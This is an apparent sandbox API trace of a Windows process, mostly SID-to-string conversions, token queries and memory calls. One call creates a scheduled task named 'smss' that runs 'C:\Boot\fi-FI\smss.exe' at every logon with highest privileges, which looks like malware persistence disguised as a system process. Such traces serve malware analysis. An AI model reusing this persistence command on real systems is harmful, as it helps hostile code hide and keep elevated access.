[0074.507] malloc (_Size=0x18) returned 0xeef00 [0074.508] malloc (_Size=0x18) returned 0xef0a0 [0074.508] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0074.508] SysStringLen (param_1="3835049652") returned 0xa [0074.508] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0074.508] memcpy (in: _Dst=0x34d996, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0074.508] free (_Block=0xef040) [0074.508] free (_Block=0xeef00) [0074.508] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0074.508] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0074.508] malloc (_Size=0x18) returned 0xeef00 [0074.508] malloc (_Size=0x18) returned 0xef040 [0074.508] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0074.508] SysStringLen (param_1="-") returned 0x1 [0074.508] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x54 | out: _Dst=0x327668) returned 0x327668 [0074.508] memcpy (in: _Dst=0x3276ba, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3276ba) returned 0x3276ba [0074.508] free (_Block=0xef0a0) [0074.508] free (_Block=0xeef00) [0074.508] malloc (_Size=0x18) returned 0xeef00 [0074.508] malloc (_Size=0x18) returned 0xef0a0 [0074.508] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0074.508] SysStringLen (param_1="1000") returned 0x4 [0074.508] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0074.508] memcpy (in: _Dst=0x34d9ac, _Src=0x3812f8, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0074.508] free (_Block=0xef040) [0074.508] free (_Block=0xeef00) [0074.509] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0074.509] malloc (_Size=0x5e) returned 0xf0800 [0074.509] free (_Block=0xef0a0) [0074.509] malloc (_Size=0x18) returned 0xef0a0 [0074.509] free (_Block=0xf0800) [0074.509] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0074.510] GetLastError () returned 0x7a [0074.510] malloc (_Size=0x14) returned 0xeef00 [0074.510] malloc (_Size=0x16) returned 0xef040 [0074.510] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebcca4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0074.510] malloc (_Size=0x18) returned 0xeef60 [0074.511] malloc (_Size=0x18) returned 0xef020 [0074.511] free (_Block=0xeef00) [0074.511] free (_Block=0xef040) [0074.511] free (_Block=0xeff30) [0074.511] free (_Block=0xef020) [0074.511] free (_Block=0xeef60) [0074.511] free (_Block=0xef0a0) [0074.511] free (_Block=0xee200) [0074.511] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0074.512] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0074.512] GetLastError () returned 0x7a [0074.512] malloc (_Size=0x2c) returned 0xee240 [0074.512] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0074.512] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0074.512] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0074.512] malloc (_Size=0x1c) returned 0xeff30 [0074.512] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0074.512] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0074.512] malloc (_Size=0x18) returned 0xef0a0 [0074.512] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0074.512] malloc (_Size=0x18) returned 0xeef60 [0074.512] malloc (_Size=0x18) returned 0xef020 [0074.512] SysStringLen (param_1="S-1-") returned 0x4 [0074.512] SysStringLen (param_1="5") returned 0x1 [0074.512] memcpy (in: _Dst=0x3810e8, _Src=0x381358, _Size=0xa | out: _Dst=0x3810e8) returned 0x3810e8 [0074.512] memcpy (in: _Dst=0x3810f0, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3810f0) returned 0x3810f0 [0074.512] free (_Block=0xef0a0) [0074.512] free (_Block=0xeef60) [0074.512] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0074.512] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0074.512] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0074.512] malloc (_Size=0x18) returned 0xeef60 [0074.512] malloc (_Size=0x18) returned 0xef0a0 [0074.512] SysStringLen (param_1="S-1-5") returned 0x5 [0074.512] SysStringLen (param_1="-") returned 0x1 [0074.513] memcpy (in: _Dst=0x3812f8, _Src=0x3810e8, _Size=0xc | out: _Dst=0x3812f8) returned 0x3812f8 [0074.513] memcpy (in: _Dst=0x381302, _Src=0x381358, _Size=0x4 | out: _Dst=0x381302) returned 0x381302 [0074.513] free (_Block=0xef020) [0074.513] free (_Block=0xeef60) [0074.513] malloc (_Size=0x18) returned 0xeef60 [0074.513] malloc (_Size=0x18) returned 0xef020 [0074.513] SysStringLen (param_1="S-1-5-") returned 0x6 [0074.513] SysStringLen (param_1="21") returned 0x2 [0074.513] memcpy (in: _Dst=0x381358, _Src=0x3812f8, _Size=0xe | out: _Dst=0x381358) returned 0x381358 [0074.513] memcpy (in: _Dst=0x381364, _Src=0x3810e8, _Size=0x6 | out: _Dst=0x381364) returned 0x381364 [0074.513] free (_Block=0xef0a0) [0074.513] free (_Block=0xeef60) [0074.513] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0074.513] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0074.513] malloc (_Size=0x18) returned 0xeef60 [0074.513] malloc (_Size=0x18) returned 0xef0a0 [0074.513] SysStringLen (param_1="S-1-5-21") returned 0x8 [0074.513] SysStringLen (param_1="-") returned 0x1 [0074.513] memcpy (in: _Dst=0x3810e8, _Src=0x381358, _Size=0x12 | out: _Dst=0x3810e8) returned 0x3810e8 [0074.513] memcpy (in: _Dst=0x3810f8, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3810f8) returned 0x3810f8 [0074.513] free (_Block=0xef020) [0074.513] free (_Block=0xeef60) [0074.514] malloc (_Size=0x18) returned 0xeef60 [0074.514] malloc (_Size=0x18) returned 0xef020 [0074.514] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0074.514] SysStringLen (param_1="4219442223") returned 0xa [0074.514] memcpy (in: _Dst=0x337698, _Src=0x3810e8, _Size=0x14 | out: _Dst=0x337698) returned 0x337698 [0074.514] memcpy (in: _Dst=0x3376aa, _Src=0x381358, _Size=0x16 | out: _Dst=0x3376aa) returned 0x3376aa [0074.514] free (_Block=0xef0a0) [0074.514] free (_Block=0xeef60) [0074.514] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0074.514] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0074.514] malloc (_Size=0x18) returned 0xeef60 [0074.514] malloc (_Size=0x18) returned 0xef0a0 [0074.514] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0074.514] SysStringLen (param_1="-") returned 0x1 [0074.514] memcpy (in: _Dst=0x338318, _Src=0x337698, _Size=0x28 | out: _Dst=0x338318) returned 0x338318 [0074.514] memcpy (in: _Dst=0x33833e, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x33833e) returned 0x33833e [0074.514] free (_Block=0xef020) [0074.514] free (_Block=0xeef60) [0074.514] malloc (_Size=0x18) returned 0xeef60 [0074.514] malloc (_Size=0x18) returned 0xef020 [0074.514] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0074.514] SysStringLen (param_1="4223814209") returned 0xa [0074.514] memcpy (in: _Dst=0x327668, _Src=0x338318, _Size=0x2a | out: _Dst=0x327668) returned 0x327668 [0074.514] memcpy (in: _Dst=0x327690, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x327690) returned 0x327690 [0074.514] free (_Block=0xef0a0) [0074.515] free (_Block=0xeef60) [0074.515] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0074.515] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0074.515] malloc (_Size=0x18) returned 0xeef60 [0074.515] malloc (_Size=0x18) returned 0xef0a0 [0074.515] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0074.515] SysStringLen (param_1="-") returned 0x1 [0074.515] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0074.515] memcpy (in: _Dst=0x34d994, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0074.515] free (_Block=0xef020) [0074.515] free (_Block=0xeef60) [0074.515] malloc (_Size=0x18) returned 0xeef60 [0074.515] malloc (_Size=0x18) returned 0xef020 [0074.515] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0074.515] SysStringLen (param_1="3835049652") returned 0xa [0074.515] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x40 | out: _Dst=0x327668) returned 0x327668 [0074.515] memcpy (in: _Dst=0x3276a6, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x3276a6) returned 0x3276a6 [0074.515] free (_Block=0xef0a0) [0074.515] free (_Block=0xeef60) [0074.515] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0074.515] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0074.515] malloc (_Size=0x18) returned 0xeef60 [0074.515] malloc (_Size=0x18) returned 0xef0a0 [0074.515] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0074.515] SysStringLen (param_1="-") returned 0x1 [0074.516] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0074.516] memcpy (in: _Dst=0x34d9aa, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0074.516] free (_Block=0xef020) [0074.516] free (_Block=0xeef60) [0074.516] malloc (_Size=0x18) returned 0xeef60 [0074.516] malloc (_Size=0x18) returned 0xef020 [0074.516] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0074.516] SysStringLen (param_1="1000") returned 0x4 [0074.516] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x56 | out: _Dst=0x327668) returned 0x327668 [0074.516] memcpy (in: _Dst=0x3276bc, _Src=0x3810e8, _Size=0xa | out: _Dst=0x3276bc) returned 0x3276bc [0074.516] free (_Block=0xef0a0) [0074.516] free (_Block=0xeef60) [0074.516] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0074.516] malloc (_Size=0x5e) returned 0xf0800 [0074.516] free (_Block=0xef020) [0074.516] malloc (_Size=0x18) returned 0xef020 [0074.517] free (_Block=0xf0800) [0074.517] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0074.517] GetLastError () returned 0x7a [0074.517] malloc (_Size=0x14) returned 0xeef60 [0074.517] malloc (_Size=0x16) returned 0xef0a0 [0074.517] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebccb4, ReferencedDomainName=0xef0a0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0074.518] malloc (_Size=0x18) returned 0xef040 [0074.518] malloc (_Size=0x18) returned 0xeef00 [0074.518] free (_Block=0xeef60) [0074.518] free (_Block=0xef0a0) [0074.518] free (_Block=0xeff30) [0074.518] free (_Block=0xeef00) [0074.518] free (_Block=0xef040) [0074.518] free (_Block=0xef020) [0074.519] free (_Block=0xee240) [0074.519] malloc (_Size=0x48) returned 0xed2c0 [0074.519] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0074.524] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0074.524] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0074.524] malloc (_Size=0x18) returned 0xef020 [0074.524] CreateEnvironmentBlock () returned 0x1 [0074.551] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0074.551] malloc (_Size=0x18) returned 0xef040 [0074.552] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"smss\" /sc ONLOGON /tr \"'C:\\Boot\\fi-FI\\smss.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"smss\" /sc ONLOGON /tr \"'C:\\Boot\\fi-FI\\smss.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xa50, dwThreadId=0xc08)) returned 1 [0074.556] CloseHandle (hObject=0x2f8) returned 1 [0074.556] CloseHandle (hObject=0x2fc) returned 1 [0074.557] free (_Block=0xef040) [0074.557] DestroyEnvironmentBlock () returned 0x1 [0074.557] malloc (_Size=0x48) returned 0xed270 [0074.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5567b880, dwHighDateTime=0x1d9eb0c)) [0074.557] SetEvent (hEvent=0x1f0) returned 1 [0074.557] CloseHandle (hObject=0x244) returned 1 [0074.557] CloseHandle (hObject=0x234) returned 1 [0074.635] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0074.635] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0074.635] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0075.135] SetLastError (dwErrCode=0x0) [0075.135] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0075.135] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0075.135] SetLastError (dwErrCode=0x0) [0075.135] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0075.135] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0075.135] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0075.135] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f4f0 [0075.135] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f4f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0075.135] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f4f0 | out: hHeap=0x2e0000) returned 1 [0075.138] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0075.139] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0075.139] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0075.139] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0075.139] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0075.139] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0075.139] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0075.141] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0075.141] GetCurrentThread () returned 0xfffffffffffffffe [0075.141] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x234) returned 1 [0075.141] malloc (_Size=0xd8) returned 0xf4740 [0075.141] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0075.142] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0075.142] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0075.142] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0075.142] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0075.142] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0075.142] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0075.142] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0075.143] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0075.143] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0075.143] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0075.143] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0075.143] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0075.143] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0075.143] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0075.144] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0075.144] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0075.144] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0075.144] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0075.144] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0075.144] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0075.144] malloc (_Size=0x18) returned 0xeef20 [0075.144] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x244) returned 1 [0075.144] malloc (_Size=0x48) returned 0xed400 [0075.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x55c22cc0, dwHighDateTime=0x1d9eb0c)) [0075.145] SetEvent (hEvent=0x1f0) returned 1 [0075.149] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0075.149] GetLastError () returned 0x7a [0075.149] malloc (_Size=0x2c) returned 0xee200 [0075.149] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0075.149] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0075.149] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0075.149] malloc (_Size=0x1c) returned 0xeff00 [0075.149] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0075.149] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0075.149] malloc (_Size=0x18) returned 0xef020 [0075.150] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0075.150] malloc (_Size=0x18) returned 0xef040 [0075.150] malloc (_Size=0x18) returned 0xeef00 [0075.150] SysStringLen (param_1="S-1-") returned 0x4 [0075.150] SysStringLen (param_1="5") returned 0x1 [0075.150] memcpy (in: _Dst=0x381148, _Src=0x381238, _Size=0xa | out: _Dst=0x381148) returned 0x381148 [0075.150] memcpy (in: _Dst=0x381150, _Src=0x381298, _Size=0x4 | out: _Dst=0x381150) returned 0x381150 [0075.150] free (_Block=0xef020) [0075.150] free (_Block=0xef040) [0075.150] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0075.150] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, 